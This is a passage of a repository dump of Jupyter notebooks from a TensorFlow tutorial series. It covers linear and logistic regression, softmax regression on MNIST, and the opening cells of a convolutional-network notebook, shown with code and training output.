0.16841483]], dtype=float32), -0.24721365]\n", 471 | "20 [array([[ 0.35801652, 0.52518624, 0.18313798]], dtype=float32), -0.26844412]\n", 472 | "25 [array([[ 0.37622163, 0.55263591, 0.19220433]], dtype=float32), -0.28141549]\n", 473 | "30 [array([[ 0.38769186, 0.57002723, 0.19787714]], dtype=float32), -0.28947368]\n", 474 | "35 [array([[ 0.39498737, 0.58114141, 0.20146328]], dtype=float32), -0.29453549]\n", 475 | "40 [array([[ 0.39965552, 0.58828175, 0.20374571]], dtype=float32), -0.29773927]\n", 476 | "45 [array([[ 0.40265396, 0.59288406, 0.20520498]], dtype=float32), -0.29977781]\n", 477 | "50 [array([[ 0.40426326, 0.59536088, 0.20598528]], dtype=float32), -0.30086377]\n" 478 | ] 479 | } 480 | ], 481 | "source": [ 482 | "num_iters = 50\n", 483 | "g = tf.Graph()\n", 484 | "wb = []\n", 485 | "\n", 486 | "with g.as_default():\n", 487 | " x = tf.placeholder(tf.float32, shape=[None, 3])\n", 488 | " y_true = tf.placeholder(tf.float32, shape=None)\n", 489 | " \n", 490 | " with tf.name_scope('inference') as scope:\n", 491 | " w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 492 | " b = tf.Variable(0, dtype=tf.float32, name='b')\n", 493 | " y_pred = tf.matmul(w, tf.transpose(x))+b\n", 494 | " \n", 495 | " with tf.name_scope('loss') as scope:\n", 496 | " loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_pred)\n", 497 | " loss = tf.reduce_mean(loss)\n", 498 | " \n", 499 | " with tf.name_scope('training') as scope:\n", 500 | " lr = 0.5\n", 501 | " optimizer = tf.train.GradientDescentOptimizer(lr)\n", 502 | " train = optimizer.minimize(loss)\n", 503 | " \n", 504 | " init = tf.global_variables_initializer()\n", 505 | " \n", 506 | " with tf.Session() as sess:\n", 507 | " sess.run(init)\n", 508 | " \n", 509 | " for step in range(num_iters):\n", 510 | " sess.run(train, {x:x_data, y_true:y_data})\n", 511 | " if(step%5==0):\n", 512 | " print(step, sess.run([w,b]))\n", 513 | " wb.append(sess.run([w,b]))\n", 514 | " \n", 515 | " print(50, sess.run([w,b]))" 516 | ] 517 | }, 518 | { 519 | "cell_type": "code", 520 | "execution_count": null, 521 | "metadata": { 522 | "collapsed": true, 523 | "deletable": true, 524 | "editable": true 525 | }, 526 | "outputs": [], 527 | "source": [] 528 | }, 529 | { 530 | "cell_type": "code", 531 | "execution_count": null, 532 | "metadata": { 533 | "collapsed": true, 534 | "deletable": true, 535 | "editable": true 536 | }, 537 | "outputs": [], 538 | "source": [] 539 | }, 540 | { 541 | "cell_type": "code", 542 | "execution_count": null, 543 | "metadata": { 544 | "collapsed": true 545 | }, 546 | "outputs": [], 547 | "source": [] 548 | }, 549 | { 550 | "cell_type": "code", 551 | "execution_count": null, 552 | "metadata": { 553 | "collapsed": true 554 | }, 555 | "outputs": [], 556 | "source": [] 557 | }, 558 | { 559 | "cell_type": "code", 560 | "execution_count": null, 561 | "metadata": { 562 | "collapsed": true 563 | }, 564 | "outputs": [], 565 | "source": [] 566 | } 567 | ], 568 | "metadata": { 569 | "kernelspec": { 570 | "display_name": "Python 3", 571 | "language": "python", 572 | "name": "python3" 573 | }, 574 | "language_info": { 575 | "codemirror_mode": { 576 | "name": "ipython", 577 | "version": 3 578 | }, 579 | "file_extension": ".py", 580 | "mimetype": "text/x-python", 581 | "name": "python", 582 | "nbconvert_exporter": "python", 583 | "pygments_lexer": "ipython3", 584 | "version": "3.5.0" 585 | } 586 | }, 587 | "nbformat": 4, 588 | "nbformat_minor": 2 589 | } 590 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 12 - Handwriting Recognition with MNIST.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "collapsed": true, 17 | "deletable": true, 18 | "editable": true 19 | }, 20 | "source": [ 21 | "![](tflogo.png)\n", 22 | "\n", 23 | "*

By TensorFlow - vectors combined, edited - Begoon [Apache License 2.0] via Wikimedia Commons

*\n", 24 | "\n", 25 | "- one of the most popular tools for deep learning\n", 26 | "- released in 2015\n", 27 | "- \"framework for numerical computation based on dataflow graphs.\" [2] [Hope et al. (2017)]\n", 28 | "- tensors - multidimensional arrays\n", 29 | "- built in C++, used through higer level languages (Python) and libraries (keras, tf-slim)\n", 30 | "\n", 31 | "![](sqcube.png)\n", 32 | "\n", 33 | "![](greyrgb.png)\n", 34 | "\n", 35 | "- image tensor flows through the computational graph\n", 36 | "\n", 37 | "### Computational graph:\n", 38 | "\n", 39 | "![](compgraph.png)\n", 40 | "\n", 41 | "- composed of nodes and edges\n", 42 | "\n", 43 | "*

Computational Graph. By Sebastian Raschka via Github

*\n", 44 | "\n", 45 | "### Advantages and Disadvantages (a few):\n", 46 | "\n", 47 | "- open source and continously developed\n", 48 | "- good visualization tools \n", 49 | "- scalability and portability\n", 50 | "- steeper learning curve to become good at it \n", 51 | "- implies solid knowledge of math\n", 52 | "- http://tensorflow.org\n", 53 | "\n", 54 | "### Types of Operations:\n", 55 | "\n", 56 | "- Add, Sub, Div, Mul, Log, Exp, etc. (element wise math ops.)\n", 57 | "- on arrays and matrices: Constant, Shape, Split, Concat, Slice, MatMul, etc.\n", 58 | "- Sigmoid, ReLU, Convolution2D, SoftMax, etc.\n", 59 | "- and more" 60 | ] 61 | }, 62 | { 63 | "cell_type": "code", 64 | "execution_count": 22, 65 | "metadata": { 66 | "collapsed": false, 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "outputs": [], 71 | "source": [ 72 | "import tensorflow as tf\n", 73 | "import numpy as np" 74 | ] 75 | }, 76 | { 77 | "cell_type": "code", 78 | "execution_count": 23, 79 | "metadata": { 80 | "collapsed": false, 81 | "deletable": true, 82 | "editable": true 83 | }, 84 | "outputs": [], 85 | "source": [ 86 | "a = tf.constant('Hello')\n", 87 | "b = tf.constant(' World!')\n", 88 | "c = a+b" 89 | ] 90 | }, 91 | { 92 | "cell_type": "code", 93 | "execution_count": 24, 94 | "metadata": { 95 | "collapsed": false, 96 | "deletable": true, 97 | "editable": true 98 | }, 99 | "outputs": [ 100 | { 101 | "name": "stdout", 102 | "output_type": "stream", 103 | "text": [ 104 | "Tensor(\"add_3:0\", shape=(), dtype=string)\n" 105 | ] 106 | } 107 | ], 108 | "source": [ 109 | "print(c)" 110 | ] 111 | }, 112 | { 113 | "cell_type": "code", 114 | "execution_count": 25, 115 | "metadata": { 116 | "collapsed": false, 117 | "deletable": true, 118 | "editable": true 119 | }, 120 | "outputs": [ 121 | { 122 | "name": "stdout", 123 | "output_type": "stream", 124 | "text": [ 125 | "b'Hello World!'\n" 126 | ] 127 | } 128 | ], 129 | "source": [ 130 | "with tf.Session() as sess: \n", 131 | " runop = sess.run(c)\n", 132 | " \n", 133 | "print(runop)" 134 | ] 135 | }, 136 | { 137 | "cell_type": "code", 138 | "execution_count": 26, 139 | "metadata": { 140 | "collapsed": false, 141 | "deletable": true, 142 | "editable": true 143 | }, 144 | "outputs": [ 145 | { 146 | "name": "stdout", 147 | "output_type": "stream", 148 | "text": [ 149 | "b'Hello World!'\n" 150 | ] 151 | } 152 | ], 153 | "source": [ 154 | "c = tf.add(a,b)\n", 155 | "\n", 156 | "with tf.Session() as sess:\n", 157 | " runop = sess.run(c)\n", 158 | " \n", 159 | "print(runop)" 160 | ] 161 | }, 162 | { 163 | "cell_type": "code", 164 | "execution_count": 27, 165 | "metadata": { 166 | "collapsed": false, 167 | "deletable": true, 168 | "editable": true 169 | }, 170 | "outputs": [ 171 | { 172 | "name": "stdout", 173 | "output_type": "stream", 174 | "text": [ 175 | "[[[ 88 94]\n", 176 | " [214 229]]\n", 177 | "\n", 178 | " [[484 508]\n", 179 | " [642 674]]]\n" 180 | ] 181 | } 182 | ], 183 | "source": [ 184 | "mat_a = tf.constant(np.arange(1,12, dtype=np.int32), shape=[2,2,3])\n", 185 | "mat_b = tf.constant(np.arange(12,24, dtype=np.int32), shape=[2,3,2])\n", 186 | "mul_c = tf.matmul(mat_a, mat_b)\n", 187 | "\n", 188 | "with tf.Session() as sess:\n", 189 | " runop = sess.run(mul_c)\n", 190 | " \n", 191 | "print(runop)" 192 | ] 193 | }, 194 | { 195 | "cell_type": "markdown", 196 | "metadata": { 197 | "collapsed": true, 198 | "deletable": true, 199 | "editable": true 200 | }, 201 | "source": [ 202 | "### A typical TensorFlow project:\n", 203 | "\n", 204 | "- (1). constructing the graph: tf.constant, tf.placeholder, tf.variable, tf.nn.sigmoid, tf.matmul, etc.\n", 205 | "- (2). executing the graph (within a session)\n", 206 | "- use tensorboard for visualization.\n", 207 | "\n", 208 | "### Placeholders:\n", 209 | "\n", 210 | "- allow for reusability\n", 211 | "- can be populated with different data every time you run the graph (feed_dict)" 212 | ] 213 | }, 214 | { 215 | "cell_type": "code", 216 | "execution_count": 28, 217 | "metadata": { 218 | "collapsed": false, 219 | "deletable": true, 220 | "editable": true 221 | }, 222 | "outputs": [], 223 | "source": [ 224 | "#with tf.Session() as sess:\n", 225 | "# sess.run(ops)\n", 226 | "# sess.close()" 227 | ] 228 | }, 229 | { 230 | "cell_type": "code", 231 | "execution_count": 29, 232 | "metadata": { 233 | "collapsed": true, 234 | "deletable": true, 235 | "editable": true 236 | }, 237 | "outputs": [], 238 | "source": [ 239 | "x = tf.placeholder(tf.float32, name='X', shape=(4,9))\n", 240 | "w = tf.placeholder(tf.float32, name='W', shape=(9,1))\n", 241 | "b = tf.fill((4,1), -1., name='bias')\n", 242 | "y = tf.matmul(x,w)+b\n", 243 | "s = tf.reduce_max(y)" 244 | ] 245 | }, 246 | { 247 | "cell_type": "code", 248 | "execution_count": 30, 249 | "metadata": { 250 | "collapsed": false, 251 | "deletable": true, 252 | "editable": true 253 | }, 254 | "outputs": [ 255 | { 256 | "name": "stdout", 257 | "output_type": "stream", 258 | "text": [ 259 | "Output: 0.8661351203918457\n" 260 | ] 261 | } 262 | ], 263 | "source": [ 264 | "x_data = np.random.randn(4,9)\n", 265 | "w_data = np.random.randn(9,1)\n", 266 | "\n", 267 | "with tf.Session() as sess:\n", 268 | " out_p = sess.run(s, feed_dict={x:x_data, w:w_data})\n", 269 | " \n", 270 | "print('Output: {}'.format(out_p))" 271 | ] 272 | }, 273 | { 274 | "cell_type": "markdown", 275 | "metadata": { 276 | "collapsed": false, 277 | "deletable": true, 278 | "editable": true 279 | }, 280 | "source": [ 281 | "### Optimization\n", 282 | "\n", 283 | "- purpose of a typical project: learn associations between features and labels.\n", 284 | "\n", 285 | "###
$f(x_{i}) = w^{T}x_{i} + b$
\n", 286 | "###
$y_{i} = f(x_{i}) + \\varepsilon_{i}$
\n", 287 | "\n", 288 | "- **Loss Function**: how far the model is from the truth.\n", 289 | "- train the model to minimize loss (adjusting the parameters).\n", 290 | "- **MSE (Mean Squared Error)** - averages square distances (y_true, y_pred):\n", 291 | "\n", 292 | "##
$L(y, \\hat y) = \\frac{1}{n}\\ ∑_{i=1}^{n}(y_{i}-\\hat y_{i})^{2}$
\n", 293 | "\n", 294 | "- **Cross Entropy** - similarity between distributions:\n", 295 | "\n", 296 | "##
$H(p,q)=-∑_{x}p(x)logq(x)$
" 297 | ] 298 | }, 299 | { 300 | "cell_type": "code", 301 | "execution_count": 31, 302 | "metadata": { 303 | "collapsed": false, 304 | "deletable": true, 305 | "editable": true 306 | }, 307 | "outputs": [], 308 | "source": [ 309 | "# X, Y, W, b\n", 310 | "\n", 311 | "x = tf.placeholder(tf.float32, shape=[None, 3])\n", 312 | "y_true = tf.placeholder(tf.float32, shape=None)\n", 313 | "w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 314 | "b = tf.Variable(0, dtype=tf.float32, name='b')\n", 315 | "\n", 316 | "# Output\n", 317 | "\n", 318 | "y_pred = tf.matmul(w, tf.transpose(x))+b" 319 | ] 320 | }, 321 | { 322 | "cell_type": "code", 323 | "execution_count": 32, 324 | "metadata": { 325 | "collapsed": false, 326 | "deletable": true, 327 | "editable": true 328 | }, 329 | "outputs": [], 330 | "source": [ 331 | "# MSE (Mean Squared Error)\n", 332 | "\n", 333 | "loss = tf.reduce_mean(tf.square(y_true-y_pred))\n", 334 | "\n", 335 | "# Cross Entropy\n", 336 | "\n", 337 | "loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_pred)\n", 338 | "loss = tf.reduce_mean(loss)" 339 | ] 340 | }, 341 | { 342 | "cell_type": "markdown", 343 | "metadata": { 344 | "collapsed": true, 345 | "deletable": true, 346 | "editable": true 347 | }, 348 | "source": [ 349 | "### Linear Regression \n", 350 | "\n", 351 | "- Batch Gradient Descent: entire dataset.\n", 352 | "- Stochastic Gradient Descent (SGD): mini-batches. \n", 353 | "- In TensorFlow:\n", 354 | "\n", 355 | "
optimizer = tf.train.GradientDescentOptimizer(learning_rate)
\n", 356 | "
train = optimizer.minimize(loss)
\n" 357 | ] 358 | }, 359 | { 360 | "cell_type": "code", 361 | "execution_count": 33, 362 | "metadata": { 363 | "collapsed": false, 364 | "deletable": true, 365 | "editable": true 366 | }, 367 | "outputs": [], 368 | "source": [ 369 | "import numpy as np\n", 370 | "\n", 371 | "x_data = np.random.randn(2000,3)\n", 372 | "w_real = [0.4, 0.6, 0.2]\n", 373 | "b_real = -0.3 \n", 374 | "noise = np.random.randn(1,2000)*0.1 \n", 375 | "y_data = np.matmul(w_real, x_data.T)+b_real+noise" 376 | ] 377 | }, 378 | { 379 | "cell_type": "code", 380 | "execution_count": 34, 381 | "metadata": { 382 | "collapsed": false, 383 | "deletable": true, 384 | "editable": true 385 | }, 386 | "outputs": [ 387 | { 388 | "name": "stdout", 389 | "output_type": "stream", 390 | "text": [ 391 | "0 [array([[ 0.40274513, 0.59352362, 0.17637035]], dtype=float32), -0.31382522]\n", 392 | "5 [array([[ 0.40287709, 0.60446119, 0.20664811]], dtype=float32), -0.30317146]\n", 393 | "10 [array([[ 0.40287712, 0.60446125, 0.20664825]], dtype=float32), -0.30317137]\n" 394 | ] 395 | } 396 | ], 397 | "source": [ 398 | "num_iters = 10 \n", 399 | "g = tf.Graph()\n", 400 | "wb = []\n", 401 | "\n", 402 | "with g.as_default():\n", 403 | " x = tf.placeholder(tf.float32, shape=[None, 3])\n", 404 | " y_true = tf.placeholder(tf.float32, shape=None)\n", 405 | " \n", 406 | " with tf.name_scope('inference') as scope:\n", 407 | " w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 408 | " b = tf.Variable(0, dtype=tf.float32, name='b')\n", 409 | " y_pred = tf.matmul(w, tf.transpose(x))+b\n", 410 | " \n", 411 | " with tf.name_scope('loss') as scope:\n", 412 | " loss = tf.reduce_mean(tf.square(y_true-y_pred))\n", 413 | " \n", 414 | " with tf.name_scope('training') as scope:\n", 415 | " lr = 0.5\n", 416 | " optimizer = tf.train.GradientDescentOptimizer(lr)\n", 417 | " train = optimizer.minimize(loss)\n", 418 | " \n", 419 | " init = tf.global_variables_initializer()\n", 420 | " \n", 421 | " with tf.Session() as sess:\n", 422 | " sess.run(init)\n", 423 | " for step in range(num_iters):\n", 424 | " sess.run(train, {x:x_data, y_true:y_data})\n", 425 | " if(step%5==0):\n", 426 | " print(step, sess.run([w,b]))\n", 427 | " wb.append(sess.run([w,b]))\n", 428 | " \n", 429 | " print(10, sess.run([w,b]))" 430 | ] 431 | }, 432 | { 433 | "cell_type": "markdown", 434 | "metadata": {}, 435 | "source": [ 436 | "### Logistic Regression " 437 | ] 438 | }, 439 | { 440 | "cell_type": "code", 441 | "execution_count": 35, 442 | "metadata": { 443 | "collapsed": false, 444 | "deletable": true, 445 | "editable": true 446 | }, 447 | "outputs": [], 448 | "source": [ 449 | "def sigmoid(x):\n", 450 | " return 1/(1+np.exp(-x))\n", 451 | "\n", 452 | "x_data = np.random.randn(20000,3)\n", 453 | "w_real = [0.4, 0.6, 0.2]\n", 454 | "b_real = -0.3\n", 455 | "wb = np.matmul(w_real,x_data.T)+b_real\n", 456 | "\n", 457 | "y_data_bef_noise = sigmoid(wb)\n", 458 | "y_data = np.random.binomial(1, y_data_bef_noise)" 459 | ] 460 | }, 461 | { 462 | "cell_type": "code", 463 | "execution_count": 36, 464 | "metadata": { 465 | "collapsed": false, 466 | "deletable": true, 467 | "editable": true 468 | }, 469 | "outputs": [ 470 | { 471 | "name": "stdout", 472 | "output_type": "stream", 473 | "text": [ 474 | "0 [array([[ 0.04112099, 0.06846264, 0.02003187]], dtype=float32), -0.032350261]\n", 475 | "5 [array([[ 0.18276456, 0.30256298, 0.08900417]], dtype=float32), -0.14264938]\n", 476 | "10 [array([[ 0.26029974, 0.42916155, 0.12672393]], dtype=float32), -0.20180328]\n", 477 | "15 [array([[ 0.30538484, 0.50203937, 0.14863394]], dtype=float32), -0.23547475]\n", 478 | "20 [array([[ 0.33263034, 0.54571784, 0.16186109]], dtype=float32), -0.25541481]\n", 479 | "25 [array([[ 0.34947604, 0.57253945, 0.17003198]], dtype=float32), -0.26751855]\n", 480 | "30 [array([[ 0.36003467, 0.58925474, 0.17514937]], dtype=float32), -0.27498147]\n", 481 | "35 [array([[ 0.36670724, 0.59976691, 0.1783811 ]], dtype=float32), -0.27963001]\n", 482 | "40 [array([[ 0.37094492, 0.60641575, 0.18043235]], dtype=float32), -0.28254512]\n", 483 | "45 [array([[ 0.37364432, 0.61063606, 0.18173833]], dtype=float32), -0.28438166]\n", 484 | "50 [array([[ 0.37508124, 0.61287636, 0.18243322]], dtype=float32), -0.28535065]\n" 485 | ] 486 | } 487 | ], 488 | "source": [ 489 | "num_iters = 50\n", 490 | "g = tf.Graph()\n", 491 | "wb = []\n", 492 | "\n", 493 | "with g.as_default():\n", 494 | " x = tf.placeholder(tf.float32, shape=[None, 3])\n", 495 | " y_true = tf.placeholder(tf.float32, shape=None)\n", 496 | " \n", 497 | " with tf.name_scope('inference') as scope:\n", 498 | " w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 499 | " b = tf.Variable(0, dtype=tf.float32, name='b')\n", 500 | " y_pred = tf.matmul(w, tf.transpose(x))+b\n", 501 | " \n", 502 | " with tf.name_scope('loss') as scope:\n", 503 | " loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_pred)\n", 504 | " loss = tf.reduce_mean(loss)\n", 505 | " \n", 506 | " with tf.name_scope('training') as scope:\n", 507 | " lr = 0.5\n", 508 | " optimizer = tf.train.GradientDescentOptimizer(lr)\n", 509 | " train = optimizer.minimize(loss)\n", 510 | " \n", 511 | " init = tf.global_variables_initializer()\n", 512 | " \n", 513 | " with tf.Session() as sess:\n", 514 | " sess.run(init)\n", 515 | " \n", 516 | " for step in range(num_iters):\n", 517 | " sess.run(train, {x:x_data, y_true:y_data})\n", 518 | " if(step%5==0):\n", 519 | " print(step, sess.run([w,b]))\n", 520 | " wb.append(sess.run([w,b]))\n", 521 | " \n", 522 | " print(50, sess.run([w,b]))" 523 | ] 524 | }, 525 | { 526 | "cell_type": "markdown", 527 | "metadata": { 528 | "collapsed": true, 529 | "deletable": true, 530 | "editable": true 531 | }, 532 | "source": [ 533 | "## Softmax Regression with MNIST\n", 534 | "\n" 535 | ] 536 | }, 537 | { 538 | "cell_type": "markdown", 539 | "metadata": { 540 | "collapsed": true, 541 | "deletable": true, 542 | "editable": true 543 | }, 544 | "source": [ 545 | "
![](mnist.png)
\n", 546 | "*

By Josef Steppan (Own work), via Wikimedia Commons

*" 547 | ] 548 | }, 549 | { 550 | "cell_type": "code", 551 | "execution_count": 37, 552 | "metadata": { 553 | "collapsed": false, 554 | "deletable": true, 555 | "editable": true 556 | }, 557 | "outputs": [], 558 | "source": [ 559 | "import tensorflow as tf\n", 560 | "from tensorflow.examples.tutorials.mnist import input_data" 561 | ] 562 | }, 563 | { 564 | "cell_type": "code", 565 | "execution_count": 38, 566 | "metadata": { 567 | "collapsed": true, 568 | "deletable": true, 569 | "editable": true 570 | }, 571 | "outputs": [], 572 | "source": [ 573 | "datadir = '/data'\n", 574 | "num_iters = 1000\n", 575 | "minibatch_size = 100" 576 | ] 577 | }, 578 | { 579 | "cell_type": "code", 580 | "execution_count": 39, 581 | "metadata": { 582 | "collapsed": false, 583 | "deletable": true, 584 | "editable": true 585 | }, 586 | "outputs": [ 587 | { 588 | "name": "stdout", 589 | "output_type": "stream", 590 | "text": [ 591 | "Extracting /data\\train-images-idx3-ubyte.gz\n", 592 | "Extracting /data\\train-labels-idx1-ubyte.gz\n", 593 | "Extracting /data\\t10k-images-idx3-ubyte.gz\n", 594 | "Extracting /data\\t10k-labels-idx1-ubyte.gz\n", 595 | "Accuracy: 91.31%\n" 596 | ] 597 | } 598 | ], 599 | "source": [ 600 | "data = input_data.read_data_sets(datadir, one_hot=True)\n", 601 | "x = tf.placeholder(tf.float32, [None, 784])\n", 602 | "W = tf.Variable(tf.zeros([784,10]))\n", 603 | "y_true = tf.placeholder(tf.float32, [None, 10])\n", 604 | "y_pred = tf.matmul(x, W)\n", 605 | "\n", 606 | "loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=y_pred, labels=y_true))\n", 607 | "optimizer = tf.train.GradientDescentOptimizer(0.5).minimize(loss)\n", 608 | "\n", 609 | "correct_pred = tf.equal(tf.argmax(y_pred,1), tf.argmax(y_true,1))\n", 610 | "accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n", 611 | "\n", 612 | "with tf.Session() as sess:\n", 613 | " sess.run(tf.global_variables_initializer())\n", 614 | "\n", 615 | " for step in range(num_iters):\n", 616 | " batch_xs, batch_ys = data.train.next_batch(minibatch_size)\n", 617 | " sess.run(optimizer, feed_dict={x:batch_xs, y_true:batch_ys})\n", 618 | " \n", 619 | " testing = sess.run(accuracy, feed_dict={x:data.test.images, y_true:data.test.labels})\n", 620 | " \n", 621 | "print('Accuracy: {:.4}%'.format(testing*100))" 622 | ] 623 | }, 624 | { 625 | "cell_type": "code", 626 | "execution_count": null, 627 | "metadata": { 628 | "collapsed": true 629 | }, 630 | "outputs": [], 631 | "source": [] 632 | }, 633 | { 634 | "cell_type": "code", 635 | "execution_count": null, 636 | "metadata": { 637 | "collapsed": true 638 | }, 639 | "outputs": [], 640 | "source": [] 641 | }, 642 | { 643 | "cell_type": "code", 644 | "execution_count": null, 645 | "metadata": { 646 | "collapsed": true 647 | }, 648 | "outputs": [], 649 | "source": [] 650 | }, 651 | { 652 | "cell_type": "code", 653 | "execution_count": null, 654 | "metadata": { 655 | "collapsed": true 656 | }, 657 | "outputs": [], 658 | "source": [] 659 | }, 660 | { 661 | "cell_type": "code", 662 | "execution_count": null, 663 | "metadata": { 664 | "collapsed": true 665 | }, 666 | "outputs": [], 667 | "source": [] 668 | } 669 | ], 670 | "metadata": { 671 | "kernelspec": { 672 | "display_name": "Python 3", 673 | "language": "python", 674 | "name": "python3" 675 | }, 676 | "language_info": { 677 | "codemirror_mode": { 678 | "name": "ipython", 679 | "version": 3 680 | }, 681 | "file_extension": ".py", 682 | "mimetype": "text/x-python", 683 | "name": "python", 684 | "nbconvert_exporter": "python", 685 | "pygments_lexer": "ipython3", 686 | "version": "3.5.0" 687 | } 688 | }, 689 | "nbformat": 4, 690 | "nbformat_minor": 2 691 | } 692 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 13 - Convolutional Neural Networks - 1.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "collapsed": true, 17 | "deletable": true, 18 | "editable": true 19 | }, 20 | "source": [ 21 | "![](tflogo.png)\n", 22 | "\n", 23 | "*

By TensorFlow - vectors combined, edited - Begoon [Apache License 2.0] via Wikimedia Commons

*\n", 24 | "\n", 25 | "- one of the most popular tools for deep learning\n", 26 | "- released in 2015\n", 27 | "- \"framework for numerical computation based on dataflow graphs.\" [2] [Hope et al. (2017)]\n", 28 | "- tensors - multidimensional arrays\n", 29 | "- built in C++, used through higer level languages (Python) and libraries (keras, tf-slim)\n", 30 | "\n", 31 | "![](sqcube.png)\n", 32 | "\n", 33 | "![](greyrgb.png)\n", 34 | "\n", 35 | "- image tensor flows through the computational graph\n", 36 | "\n", 37 | "### Computational graph:\n", 38 | "\n", 39 | "![](compgraph.png)\n", 40 | "\n", 41 | "- composed of nodes and edges\n", 42 | "\n", 43 | "*

Computational Graph. By Sebastian Raschka via Github

*\n", 44 | "\n", 45 | "### Advantages and Disadvantages (a few):\n", 46 | "\n", 47 | "- open source and continously developed\n", 48 | "- good visualization tools \n", 49 | "- scalability and portability\n", 50 | "- steeper learning curve to become good at it \n", 51 | "- implies solid knowledge of math\n", 52 | "- http://tensorflow.org\n", 53 | "\n", 54 | "### Types of Operations:\n", 55 | "\n", 56 | "- Add, Sub, Div, Mul, Log, Exp, etc. (element wise math ops.)\n", 57 | "- on arrays and matrices: Constant, Shape, Split, Concat, Slice, MatMul, etc.\n", 58 | "- Sigmoid, ReLU, Convolution2D, SoftMax, etc.\n", 59 | "- and more" 60 | ] 61 | }, 62 | { 63 | "cell_type": "code", 64 | "execution_count": 22, 65 | "metadata": { 66 | "collapsed": false, 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "outputs": [], 71 | "source": [ 72 | "import tensorflow as tf\n", 73 | "import numpy as np" 74 | ] 75 | }, 76 | { 77 | "cell_type": "code", 78 | "execution_count": 23, 79 | "metadata": { 80 | "collapsed": false, 81 | "deletable": true, 82 | "editable": true 83 | }, 84 | "outputs": [], 85 | "source": [ 86 | "a = tf.constant('Hello')\n", 87 | "b = tf.constant(' World!')\n", 88 | "c = a+b" 89 | ] 90 | }, 91 | { 92 | "cell_type": "code", 93 | "execution_count": 24, 94 | "metadata": { 95 | "collapsed": false, 96 | "deletable": true, 97 | "editable": true 98 | }, 99 | "outputs": [ 100 | { 101 | "name": "stdout", 102 | "output_type": "stream", 103 | "text": [ 104 | "Tensor(\"add_3:0\", shape=(), dtype=string)\n" 105 | ] 106 | } 107 | ], 108 | "source": [ 109 | "print(c)" 110 | ] 111 | }, 112 | { 113 | "cell_type": "code", 114 | "execution_count": 25, 115 | "metadata": { 116 | "collapsed": false, 117 | "deletable": true, 118 | "editable": true 119 | }, 120 | "outputs": [ 121 | { 122 | "name": "stdout", 123 | "output_type": "stream", 124 | "text": [ 125 | "b'Hello World!'\n" 126 | ] 127 | } 128 | ], 129 | "source": [ 130 | "with tf.Session() as sess: \n", 131 | " runop = sess.run(c)\n", 132 | " \n", 133 | "print(runop)" 134 | ] 135 | }, 136 | { 137 | "cell_type": "code", 138 | "execution_count": 26, 139 | "metadata": { 140 | "collapsed": false, 141 | "deletable": true, 142 | "editable": true 143 | }, 144 | "outputs": [ 145 | { 146 | "name": "stdout", 147 | "output_type": "stream", 148 | "text": [ 149 | "b'Hello World!'\n" 150 | ] 151 | } 152 | ], 153 | "source": [ 154 | "c = tf.add(a,b)\n", 155 | "\n", 156 | "with tf.Session() as sess:\n", 157 | " runop = sess.run(c)\n", 158 | " \n", 159 | "print(runop)" 160 | ] 161 | }, 162 | { 163 | "cell_type": "code", 164 | "execution_count": 27, 165 | "metadata": { 166 | "collapsed": false, 167 | "deletable": true, 168 | "editable": true 169 | }, 170 | "outputs": [ 171 | { 172 | "name": "stdout", 173 | "output_type": "stream", 174 | "text": [ 175 | "[[[ 88 94]\n", 176 | " [214 229]]\n", 177 | "\n", 178 | " [[484 508]\n", 179 | " [642 674]]]\n" 180 | ] 181 | } 182 | ], 183 | "source": [ 184 | "mat_a = tf.constant(np.arange(1,12, dtype=np.int32), shape=[2,2,3])\n", 185 | "mat_b = tf.constant(np.arange(12,24, dtype=np.int32), shape=[2,3,2])\n", 186 | "mul_c = tf.matmul(mat_a, mat_b)\n", 187 | "\n", 188 | "with tf.Session() as sess:\n", 189 | " runop = sess.run(mul_c)\n", 190 | " \n", 191 | "print(runop)" 192 | ] 193 | }, 194 | { 195 | "cell_type": "markdown", 196 | "metadata": { 197 | "collapsed": true, 198 | "deletable": true, 199 | "editable": true 200 | }, 201 | "source": [ 202 | "### A typical TensorFlow project:\n", 203 | "\n", 204 | "- (1). constructing the graph: tf.constant, tf.placeholder, tf.variable, tf.nn.sigmoid, tf.matmul, etc.\n", 205 | "- (2). executing the graph (within a session)\n", 206 | "- use tensorboard for visualization.\n", 207 | "\n", 208 | "### Placeholders:\n", 209 | "\n", 210 | "- allow for reusability\n", 211 | "- can be populated with different data every time you run the graph (feed_dict)" 212 | ] 213 | }, 214 | { 215 | "cell_type": "code", 216 | "execution_count": 28, 217 | "metadata": { 218 | "collapsed": false, 219 | "deletable": true, 220 | "editable": true 221 | }, 222 | "outputs": [], 223 | "source": [ 224 | "#with tf.Session() as sess:\n", 225 | "# sess.run(ops)\n", 226 | "# sess.close()" 227 | ] 228 | }, 229 | { 230 | "cell_type": "code", 231 | "execution_count": 29, 232 | "metadata": { 233 | "collapsed": true, 234 | "deletable": true, 235 | "editable": true 236 | }, 237 | "outputs": [], 238 | "source": [ 239 | "x = tf.placeholder(tf.float32, name='X', shape=(4,9))\n", 240 | "w = tf.placeholder(tf.float32, name='W', shape=(9,1))\n", 241 | "b = tf.fill((4,1), -1., name='bias')\n", 242 | "y = tf.matmul(x,w)+b\n", 243 | "s = tf.reduce_max(y)" 244 | ] 245 | }, 246 | { 247 | 